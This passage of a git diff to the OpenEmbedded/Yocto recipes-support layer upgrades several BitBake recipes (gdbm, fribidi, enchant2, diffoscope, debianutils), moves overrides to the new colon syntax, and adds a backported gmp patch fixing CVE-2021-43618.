+++ b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
@@ -10,7 +10,7 @@ its 12-bytes here and libc has 16-bytes
This can cause problems especially with 64bit time_t
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/dbinc/clock.h | 17 +----------------
diff --git a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
index cb28db1343..a574cf67b9 100644
--- a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
+++ b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
@@ -7,7 +7,7 @@ This helps cross compile when tag inference via heuristics
fail because CC variable is having -fPIE -pie and libtool
smartly removes it when building libraries
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/fix-parallel-build.patch b/meta/recipes-support/db/db/fix-parallel-build.patch
index 27632e1ddb..42c2407cf2 100644
--- a/meta/recipes-support/db/db/fix-parallel-build.patch
+++ b/meta/recipes-support/db/db/fix-parallel-build.patch
@@ -2,7 +2,7 @@ With higher paralelism it sometimes fails with:
libtool: link: `util_log.lo' is not a valid libtool object
make: *** [db_replicate] Error 1
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-support/db/db/sequence-type.patch b/meta/recipes-support/db/db/sequence-type.patch
index a6fe3d62a0..fc9f7f0113 100644
--- a/meta/recipes-support/db/db/sequence-type.patch
+++ b/meta/recipes-support/db/db/sequence-type.patch
@@ -6,7 +6,7 @@ in stdint.h.
This then breaks the overly complicated type check but as we know that int64_t
exists and works, we can just delete that.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- a/dist/aclocal/sequence.m4~ 2013-09-09 16:35:02.000000000 +0100
diff --git a/meta/recipes-support/db/db_5.3.28.bb b/meta/recipes-support/db/db_5.3.28.bb
index 318efcb61d..c5427f54eb 100644
--- a/meta/recipes-support/db/db_5.3.28.bb
+++ b/meta/recipes-support/db/db_5.3.28.bb
@@ -10,11 +10,12 @@
# same system at the same time if really necessary.
SECTION = "libs"
SUMMARY = "Berkeley Database v5"
+DESCRIPTION = "Provides the foundational storage services for your application, no matter how demanding and unique your requirements may seem to be"
HOMEPAGE = "https://www.oracle.com/database/technologies/related/berkeleydb.html"
LICENSE = "Sleepycat"
-RCONFLICTS_${PN} = "db3"
+RCONFLICTS:${PN} = "db3"
-CVE_PRODUCT = "oracle_berkeley_db"
+CVE_PRODUCT = "oracle_berkeley_db berkeley_db"
CVE_VERSION = "11.2.${PV}"
PR = "r1"
@@ -46,7 +47,7 @@ inherit autotools
inherit lib_package
PACKAGES =+ "${PN}-cxx"
-FILES_${PN}-cxx = "${libdir}/*cxx*so"
+FILES:${PN}-cxx = "${libdir}/*cxx*so"
# The dev package has the .so link (as in db3) and the .a's -
# it is therefore incompatible (cannot be installed at the
@@ -65,8 +66,6 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[verify] = "--enable-verify, --disable-verify"
PACKAGECONFIG[dbm] = "--enable-dbm,--disable-dbm,"
-EXTRA_OEMAKE += "LIBTOOL='./${HOST_SYS}-libtool'"
-
EXTRA_AUTORECONF += "--exclude=autoheader -I ${S}/dist/aclocal -I${S}/dist/aclocal_java"
AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
@@ -74,7 +73,7 @@ AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
# configure.
CONFIG_SITE = ""
-oe_runconf_prepend() {
+oe_runconf:prepend() {
. ${S}/dist/RELEASE
# Edit version information we couldn't pre-compute.
sed -i -e "s/__EDIT_DB_VERSION_FAMILY__/$DB_VERSION_FAMILY/g" \
@@ -88,12 +87,12 @@ oe_runconf_prepend() {
-e "s/__EDIT_DB_VERSION__/$DB_VERSION/g" ${S}/dist/configure
}
-do_compile_prepend() {
+do_compile:prepend() {
# Stop libtool adding RPATHs
- sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/${HOST_SYS}-libtool
+ sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/libtool
}
-do_install_append() {
+do_install:append() {
mkdir -p ${D}/${includedir}/db51
mv ${D}/${includedir}/db.h ${D}/${includedir}/db51/.
mv ${D}/${includedir}/db_cxx.h ${D}/${includedir}/db51/.
@@ -114,7 +113,7 @@ do_install_append() {
fi
}
-INSANE_SKIP_${PN} = "dev-so"
-INSANE_SKIP_${PN}-cxx = "dev-so"
+INSANE_SKIP:${PN} = "dev-so"
+INSANE_SKIP:${PN}-cxx = "dev-so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/debianutils/debianutils_4.11.2.bb b/meta/recipes-support/debianutils/debianutils_4.11.2.bb
deleted file mode 100644
index 0eeb2954f7..0000000000
--- a/meta/recipes-support/debianutils/debianutils_4.11.2.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Miscellaneous utilities specific to Debian"
-SECTION = "base"
-LICENSE = "GPLv2 & SMAIL_GPL"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=9b912cd0cc654134c0ef3424a0705b94"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20200929T025235Z/pool/main/d/${BPN}/${BPN}_${PV}.tar.xz"
-# the package is taken from snapshots.debian.org; that source is static and goes stale
-# so we check the latest upstream from a directory that does get updated
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/"
-
-SRC_URI[sha256sum] = "3b680e81709b740387335fac8f8806d71611dcf60874e1a792e862e48a1650de"
-
-inherit autotools update-alternatives
-
-S = "${WORKDIR}/debianutils"
-do_configure_prepend() {
- sed -i -e 's:tempfile.1 which.1:which.1:g' ${S}/Makefile.am
-}
-
-do_install_append() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- # Debian places some utils into ${base_bindir} as does busybox
- install -d ${D}${base_bindir}
- for app in run-parts tempfile; do
- mv ${D}${bindir}/$app ${D}${base_bindir}/$app
- done
- fi
-}
-
-# Note that we package the update-alternatives name.
-#
-PACKAGES =+ "${PN}-run-parts"
-FILES_${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
-
-RDEPENDS_${PN} += "${PN}-run-parts"
-RDEPENDS_${PN}_class-native = ""
-
-ALTERNATIVE_PRIORITY = "30"
-ALTERNATIVE_${PN} = "add-shell installkernel remove-shell savelog tempfile which"
-
-ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
-ALTERNATIVE_${PN}-run-parts = "run-parts"
-
-ALTERNATIVE_${PN}-doc = "which.1"
-ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
-
-ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
-ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
-ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
-ALTERNATIVE_LINK_NAME[run-parts] = "${base_bindir}/run-parts"
-ALTERNATIVE_LINK_NAME[savelog] = "${bindir}/savelog"
-ALTERNATIVE_LINK_NAME[tempfile] = "${base_bindir}/tempfile"
-ALTERNATIVE_LINK_NAME[which] = "${bindir}/which"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/debianutils/debianutils_5.5.bb b/meta/recipes-support/debianutils/debianutils_5.5.bb
new file mode 100644
index 0000000000..6eea86f6d3
--- /dev/null
+++ b/meta/recipes-support/debianutils/debianutils_5.5.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Miscellaneous utilities specific to Debian"
+DESCRIPTION = "Provides a number of small utilities which are used \
+primarily by the installation scripts of Debian packages, although \
+you may use them directly. "
+HOMEPAGE = "https://packages.debian.org/sid/debianutils"
+BUGTRACKER = "https://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=debianutils;dist=unstable"
+SECTION = "base"
+LICENSE = "GPLv2 & SMAIL_GPL"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=9b912cd0cc654134c0ef3424a0705b94"
+
+SRC_URI = "git://salsa.debian.org/debian/debianutils.git;protocol=https;branch=master \
+ "
+
+SRCREV = "4c420893485ad07d771c327ef899819d4846408f"
+
+inherit autotools update-alternatives
+
+S = "${WORKDIR}/git"
+
+# Disable po4a (translated manpages) sub-directory, as that requires po4a to build
+do_configure:prepend() {
+ sed -i -e 's:po4a::g' ${S}/Makefile.am
+}
+
+
+do_install:append() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ # Debian places some utils into ${base_bindir} as does busybox
+ install -d ${D}${base_bindir}
+ for app in run-parts; do
+ mv ${D}${bindir}/$app ${D}${base_bindir}/$app
+ done
+ fi
+}
+
+# Note that we package the update-alternatives name.
+#
+PACKAGES =+ "${PN}-run-parts"
+FILES:${PN}-run-parts = "${base_bindir}/run-parts.debianutils"
+
+RDEPENDS:${PN} += "${PN}-run-parts"
+RDEPENDS:${PN}:class-native = ""
+
+ALTERNATIVE_PRIORITY = "30"
+ALTERNATIVE:${PN} = "add-shell installkernel remove-shell savelog which"
+
+ALTERNATIVE_PRIORITY_${PN}-run-parts = "60"
+ALTERNATIVE:${PN}-run-parts = "run-parts"
+
+ALTERNATIVE:${PN}-doc = "which.1"
+ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+ALTERNATIVE_LINK_NAME[add-shell] = "${sbindir}/add-shell"
+ALTERNATIVE_LINK_NAME[installkernel] = "${sbindir}/installkernel"
+ALTERNATIVE_LINK_NAME[remove-shell] = "${sbindir}/remove-shell"
+ALTERNATIVE_LINK_NAME[run-parts] = "${base_bindir}/run-parts"
+ALTERNATIVE_LINK_NAME[savelog] = "${bindir}/savelog"
+ALTERNATIVE_LINK_NAME[which] = "${bindir}/which"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/diffoscope/diffoscope_161.bb b/meta/recipes-support/diffoscope/diffoscope_161.bb
deleted file mode 100644
index 0f566a3ec7..0000000000
--- a/meta/recipes-support/diffoscope/diffoscope_161.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "in-depth comparison of files, archives, and directories"
-HOMEPAGE = "https://diffoscope.org/"
-LICENSE = "GPL-3.0+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-PYPI_PACKAGE = "diffoscope"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "9c27d60a7bf3984b53c8af3fee86eb3d3e2292c4ddb9449c38b6cba068b8e22c"
-
-RDEPENDS_${PN} += "binutils vim squashfs-tools python3-libarchive-c python3-magic"
-
-# Dependencies don't build for musl
-COMPATIBLE_HOST_libc-musl = 'null'
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/diffoscope/diffoscope_196.bb b/meta/recipes-support/diffoscope/diffoscope_196.bb
new file mode 100644
index 0000000000..62a1561a0d
--- /dev/null
+++ b/meta/recipes-support/diffoscope/diffoscope_196.bb
@@ -0,0 +1,30 @@
+SUMMARY = "in-depth comparison of files, archives, and directories"
+DESCRIPTION = "Tries to get to the bottom of what makes files or directories \
+different. It will recursively unpack archives of many kinds and transform \
+various binary formats into more human-readable form to compare them. \
+It can compare two tarballs, ISO images, or PDF just as easily."
+HOMEPAGE = "https://diffoscope.org/"
+BUGTRACKER = "https://salsa.debian.org/reproducible-builds/diffoscope/-/issues"
+LICENSE = "GPL-3.0+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PYPI_PACKAGE = "diffoscope"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "d31fd0d8ac58d41cc111ef6a3bb0007f5f52543b932bf93584bdd0dfe029e626"
+
+RDEPENDS:${PN} += "binutils vim squashfs-tools python3-libarchive-c python3-magic python3-rpm"
+
+# Dependencies don't build for musl
+COMPATIBLE_HOST:libc-musl = 'null'
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/diffoscope \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ LD_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE}
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb b/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb
index 9005bdea59..509a0a0ddc 100644
--- a/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb
+++ b/meta/recipes-support/dos2unix/dos2unix_7.4.2.bb
@@ -8,7 +8,7 @@ SECTION = "support"
LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://COPYING.txt;md5=8a7c3499a1142df819e727253cd53a12"
-SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix"
+SRC_URI = "git://git.code.sf.net/p/dos2unix/dos2unix;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "dos2unix-(?P<pver>(\d+(\.\d+)+))"
SRCREV = "72596f0ae21faa25a07a872d4843bc885475115d"
@@ -25,7 +25,7 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[nls] = "ENABLE_NLS=1,ENABLE_NLS=,po4a-native"
EXTRA_OEMAKE = "${PACKAGECONFIG_CONFARGS} LDFLAGS_USER='${LDFLAGS}'"
-EXTRA_OEMAKE_class-native = "ENABLE_NLS="
+EXTRA_OEMAKE:class-native = "ENABLE_NLS="
do_install () {
oe_runmake DESTDIR="${D}${base_prefix}" install
diff --git a/meta/recipes-support/enchant/enchant2_2.2.13.bb b/meta/recipes-support/enchant/enchant2_2.2.13.bb
deleted file mode 100644
index 3b890e733a..0000000000
--- a/meta/recipes-support/enchant/enchant2_2.2.13.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Enchant Spell checker API Library"
-SECTION = "libs"
-HOMEPAGE = "https://abiword.github.io/enchant/"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "glib-2.0"
-
-inherit autotools pkgconfig
-
-SRC_URI = "https://github.com/AbiWord/enchant/releases/download/v${PV}/enchant-${PV}.tar.gz"
-SRC_URI[sha256sum] = "eab9f90d79039133660029616e2a684644bd524be5dc43340d4cfc3fb3c68a20"
-
-UPSTREAM_CHECK_URI = "https://github.com/AbiWord/enchant/releases"
-
-S = "${WORKDIR}/enchant-${PV}"
-
-EXTRA_OEMAKE = "pkgdatadir=${datadir}/enchant-2"
-
-PACKAGECONFIG ??= "aspell"
-PACKAGECONFIG[aspell] = "--with-aspell,--without-aspell,aspell,aspell"
-PACKAGECONFIG[hunspell] = "--with-hunspell,--without-hunspell,hunspell,hunspell"
-
-FILES_${PN} += " \
- ${datadir}/enchant-2 \
- ${libdir}/enchant-2 \
-"
-FILES_${PN}-staticdev += "${libdir}/enchant-2/*.a"
diff --git a/meta/recipes-support/enchant/enchant2_2.3.2.bb b/meta/recipes-support/enchant/enchant2_2.3.2.bb
new file mode 100644
index 0000000000..c7b6504a40
--- /dev/null
+++ b/meta/recipes-support/enchant/enchant2_2.3.2.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Enchant Spell checker API Library"
+DESCRIPTION = "A library (and command-line program) that wraps a number of \
+different spelling libraries and programs with a consistent interface."
+SECTION = "libs"
+HOMEPAGE = "https://abiword.github.io/enchant/"
+BUGTRACKER = "https://github.com/AbiWord/enchant/issues/"
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0"
+
+inherit autotools pkgconfig
+
+SRC_URI = "https://github.com/AbiWord/enchant/releases/download/v${PV}/enchant-${PV}.tar.gz"
+SRC_URI[sha256sum] = "ce9ba47fd4d34031bd69445598a698a6611602b2b0e91d705e91a6f5099ead6e"
+
+UPSTREAM_CHECK_URI = "https://github.com/AbiWord/enchant/releases"
+
+S = "${WORKDIR}/enchant-${PV}"
+
+EXTRA_OEMAKE = "pkgdatadir=${datadir}/enchant-2"
+
+PACKAGECONFIG ??= "aspell"
+PACKAGECONFIG[aspell] = "--with-aspell,--without-aspell,aspell,aspell"
+PACKAGECONFIG[hunspell] = "--with-hunspell,--without-hunspell,hunspell,hunspell"
+
+FILES:${PN} += " \
+ ${datadir}/enchant-2 \
+ ${libdir}/enchant-2 \
+"
+FILES:${PN}-staticdev += "${libdir}/enchant-2/*.a"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.10.bb b/meta/recipes-support/fribidi/fribidi_1.0.10.bb
deleted file mode 100644
index 53d78b4270..0000000000
--- a/meta/recipes-support/fribidi/fribidi_1.0.10.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "97c87da9930e8e70fbfc8e2bcd031554"
-SRC_URI[sha256sum] = "7f1c687c7831499bcacae5e8675945a39bacbad16ecaa945e9454a32df653c01"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-
-inherit meson lib_package pkgconfig
-
-CVE_PRODUCT = "gnu_fribidi fribidi"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/fribidi/fribidi_1.0.11.bb b/meta/recipes-support/fribidi/fribidi_1.0.11.bb
new file mode 100644
index 0000000000..7e4f29497b
--- /dev/null
+++ b/meta/recipes-support/fribidi/fribidi_1.0.11.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Free Implementation of the Unicode Bidirectional Algorithm"
+DESCRIPTION = "It provides utility functions to aid in the development \
+of interactive editors and widgets that implement BiDi functionality. \
+The BiDi algorithm is a prerequisite for supporting right-to-left scripts such \
+as Hebrew, Arabic, Syriac, and Thaana. "
+SECTION = "libs"
+HOMEPAGE = "http://fribidi.org/"
+BUGTRACKER = "https://github.com/fribidi/fribidi/issues"
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/v${PV}/${BP}.tar.xz \
+ "
+SRC_URI[sha256sum] = "30f93e9c63ee627d1a2cedcf59ac34d45bf30240982f99e44c6e015466b4e73d"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+
+inherit meson lib_package pkgconfig
+
+CVE_PRODUCT = "gnu_fribidi fribidi"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch b/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch
deleted file mode 100644
index c1580418dc..0000000000
--- a/meta/recipes-support/gdbm/files/gdbm-fix-link-failure-against-gcc-10.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From f993697af81c37df9c55e0ebedeb1b8b880506ae Mon Sep 17 00:00:00 2001
-From: Richard Leitner <richard.leitner@skidata.com>
-Date: Tue, 5 May 2020 11:59:42 +0200
-Subject: [PATCH] gdbm: fix link failure against gcc-10
-
-Copied from gentoo's solution at https://bugs.gentoo.org/show_bug.cgi?id=705898
-Original patch by Sergei Trofimovich <slyfox@gentoo.org>
-
-Original description:
-
-Before the change on gcc-10 link failed as:
-```
- CCLD gdbmtool
-ld: ./libgdbmapp.a(parseopt.o):(.bss+0x8): multiple definition of `parseopt_program_args';
- gdbmtool.o:(.data.rel.local+0x260): first defined here
-ld: ./libgdbmapp.a(parseopt.o):(.bss+0x10): multiple definition of `parseopt_program_doc';
- gdbmtool.o:(.data.rel.local+0x268): first defined here
-```
-
-gcc-10 will change the default from -fcommon to fno-common:
- https://gcc.gnu.org/PR85678.
-
-The fix is to avoid multiple definition and rely on
-declarations only.
-
-Upstream-Status: Pending
-Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
----
- src/parseopt.c | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/src/parseopt.c b/src/parseopt.c
-index 268e080..a4c8576 100644
---- a/src/parseopt.c
-+++ b/src/parseopt.c
-@@ -255,8 +255,6 @@ print_option_descr (const char *descr, size_t lmargin, size_t rmargin)
- }
-
- char *parseopt_program_name;
--char *parseopt_program_doc;
--char *parseopt_program_args;
- const char *program_bug_address = "<" PACKAGE_BUGREPORT ">";
- void (*parseopt_help_hook) (FILE *stream);
-
---
-2.26.2
-
diff --git a/meta/recipes-support/gdbm/files/ptest.patch b/meta/recipes-support/gdbm/files/ptest.patch
index 1e67dbd554..187f09655d 100644
--- a/meta/recipes-support/gdbm/files/ptest.patch
+++ b/meta/recipes-support/gdbm/files/ptest.patch
@@ -1,4 +1,4 @@
-From 41448708e163c8ec1f980464e7dd6741db427c8a Mon Sep 17 00:00:00 2001
+From 8bea84a598b51a7ac7e50aa8f0f20857a9b6b07b Mon Sep 17 00:00:00 2001
From: Josep Puigdemont <josep.puigdemont@enea.com>
Date: Sun, 4 May 2014 16:02:07 +0200
Subject: [PATCH] Add install-ptest rules.
@@ -13,12 +13,12 @@ Upstream-Status: Pending
2 files changed, 16 insertions(+)
diff --git a/Makefile.am b/Makefile.am
-index ecc03df..9fbbda5 100644
+index 25e200d..03d5ef0 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -55,3 +55,8 @@ ChangeLog:
- awk -f $(top_srcdir)/git2chg.awk \
- -v append=$(top_srcdir)/$(prev_change_log) > ChangeLog; \
+@@ -64,3 +64,8 @@ ChangeLog:
+ mv ChangeLog.tmp ChangeLog; \
+ rm -f ChangeLog.tmp; \
fi
+
+install-ptest:
@@ -26,12 +26,12 @@ index ecc03df..9fbbda5 100644
+ $(MAKE) -C $$subdir DESTDIR=$(DESTDIR)/$$subdir $@; \
+ done
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index dbe17dd..06f537f 100644
+index 337cbed..92ec3be 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -169,3 +169,14 @@ EXTRA_DIST += \
- gdbmtool/base.exp\
- config/default.exp
+@@ -139,3 +139,14 @@ d_creat_ce_LDADD = ../src/libgdbm.la ../compat/libgdbm_compat.la
+
+ SUBDIRS = gdbmtool
+buildtests: $(check_PROGRAMS) $(TESTSUITE)
+
diff --git a/meta/recipes-support/gdbm/gdbm_1.18.1.bb b/meta/recipes-support/gdbm/gdbm_1.18.1.bb
deleted file mode 100644
index fbb1fe72d7..0000000000
--- a/meta/recipes-support/gdbm/gdbm_1.18.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Key/value database library with extensible hashing"
-HOMEPAGE = "http://www.gnu.org/software/gdbm/"
-SECTION = "libs"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
-
-
-SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
- file://run-ptest \
- file://ptest.patch \
- file://gdbm-fix-link-failure-against-gcc-10.patch \
- "
-
-SRC_URI[md5sum] = "988dc82182121c7570e0cb8b4fcd5415"
-SRC_URI[sha256sum] = "86e613527e5dba544e73208f42b78b7c022d4fa5a6d5498bf18c8d6f745b91dc"
-
-inherit autotools gettext texinfo lib_package ptest
-
-# Needed for dbm python module
-EXTRA_OECONF = "--enable-libgdbm-compat --without-readline"
-
-# Stop presence of dbm/nbdm on the host contaminating builds
-CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append () {
- # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
- # these headers
- install -d ${D}${includedir}/gdbm
- ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
- ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
-}
-
-RDEPENDS_${PN}-ptest += "diffutils ${PN}-bin"
-
-do_compile_ptest() {
- oe_runmake -C tests buildtests
-}
-
-PACKAGES =+ "${PN}-compat \
- "
-FILES_${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
- "
diff --git a/meta/recipes-support/gdbm/gdbm_1.22.bb b/meta/recipes-support/gdbm/gdbm_1.22.bb
new file mode 100644
index 0000000000..5cb12cd57c
--- /dev/null
+++ b/meta/recipes-support/gdbm/gdbm_1.22.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Key/value database library with extensible hashing"
+DESCRIPTION = "Library of database functions that use extensible hashing \
+and work similar to the standard UNIX dbm. These routines are provided \
+to a programmer needing to create and manipulate a hashed database."
+HOMEPAGE = "http://www.gnu.org/software/gdbm/"
+SECTION = "libs"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=241da1b9fe42e642cbb2c24d5e0c4d24"
+
+
+SRC_URI = "${GNU_MIRROR}/gdbm/gdbm-${PV}.tar.gz \
+ file://run-ptest \
+ file://ptest.patch \
+ "
+
+SRC_URI[sha256sum] = "f366c823a6724af313b6bbe975b2809f9a157e5f6a43612a72949138d161d762"
+
+inherit autotools gettext texinfo lib_package ptest
+
+# Needed for dbm python module
+EXTRA_OECONF = "--enable-libgdbm-compat --without-readline"
+
+# Stop presence of dbm/nbdm on the host contaminating builds
+CACHED_CONFIGUREVARS += "ac_cv_lib_ndbm_main=no ac_cv_lib_dbm_main=no"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append () {
+ # Create a symlink to ndbm.h and gdbm.h in include/gdbm to let other packages to find
+ # these headers
+ install -d ${D}${includedir}/gdbm
+ ln -sf ../ndbm.h ${D}/${includedir}/gdbm/ndbm.h
+ ln -sf ../gdbm.h ${D}/${includedir}/gdbm/gdbm.h
+}
+
+RDEPENDS:${PN}-ptest += "diffutils ${PN}-bin"
+
+do_compile_ptest() {
+ oe_runmake -C tests buildtests
+}
+
+PACKAGES =+ "${PN}-compat \
+ "
+FILES:${PN}-compat = "${libdir}/libgdbm_compat${SOLIBS} \
+ "
diff --git a/meta/recipes-support/gmp/gmp.inc b/meta/recipes-support/gmp/gmp.inc
index 948b89288e..1872226616 100644
--- a/meta/recipes-support/gmp/gmp.inc
+++ b/meta/recipes-support/gmp/gmp.inc
@@ -8,5 +8,5 @@ inherit autotools texinfo multilib_header
PACKAGECONFIG ??= ""
PACKAGECONFIG[readline] = "--with-readline=yes,--with-readline=no,readline"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
diff --git a/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
index 56564db505..b26f4db98e 100644
--- a/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
+++ b/meta/recipes-support/gmp/gmp/0001-confiure.ac-Believe-the-cflags-from-environment.patch
@@ -12,8 +12,8 @@ Secondly, dont set armv4 for march when no selection
is made, since it is passed from cmdline
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [OE-Specific]
---
-Upstream-Status: Inappropriate[OE-Specific]
configure.ac | 11 -----------
1 file changed, 11 deletions(-)
diff --git a/meta/recipes-support/gmp/gmp/cve-2021-43618.patch b/meta/recipes-support/gmp/gmp/cve-2021-43618.patch
new file mode 100644
index 0000000000..095fb21eaa
--- /dev/null
+++ b/meta/recipes-support/gmp/gmp/cve-2021-43618.patch
@@ -0,0 +1,27 @@
+CVE: CVE-2021-43618
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+# HG changeset patch
+# User Marco Bodrato <bodrato@mail.dm.unipi.it>
+# Date 1634836009 -7200
+# Node ID 561a9c25298e17bb01896801ff353546c6923dbd
+# Parent e1fd9db13b475209a864577237ea4b9105b3e96e
+mpz/inp_raw.c: Avoid bit size overflows
+
+diff -r e1fd9db13b47 -r 561a9c25298e mpz/inp_raw.c
+--- a/mpz/inp_raw.c Tue Dec 22 23:49:51 2020 +0100
++++ b/mpz/inp_raw.c Thu Oct 21 19:06:49 2021 +0200
+@@ -88,8 +88,11 @@
+
+ abs_csize = ABS (csize);
+
++ if (UNLIKELY (abs_csize > ~(mp_bitcnt_t) 0 / 8))
++ return 0; /* Bit size overflows */
++
+ /* round up to a multiple of limbs */
+- abs_xsize = BITS_TO_LIMBS (abs_csize*8);
++ abs_xsize = BITS_TO_LIMBS ((mp_bitcnt_t) abs_csize * 8);
+
+ if (abs_xsize != 0)
+ {
diff --git a/meta/recipes-support/gmp/gmp_6.2.1.bb b/meta/recipes-support/gmp/gmp_6.2.1.bb
index 3c50f928ab..e61582afdf 100644
--- a/meta/recipes-support/gmp/gmp_6.2.1.bb
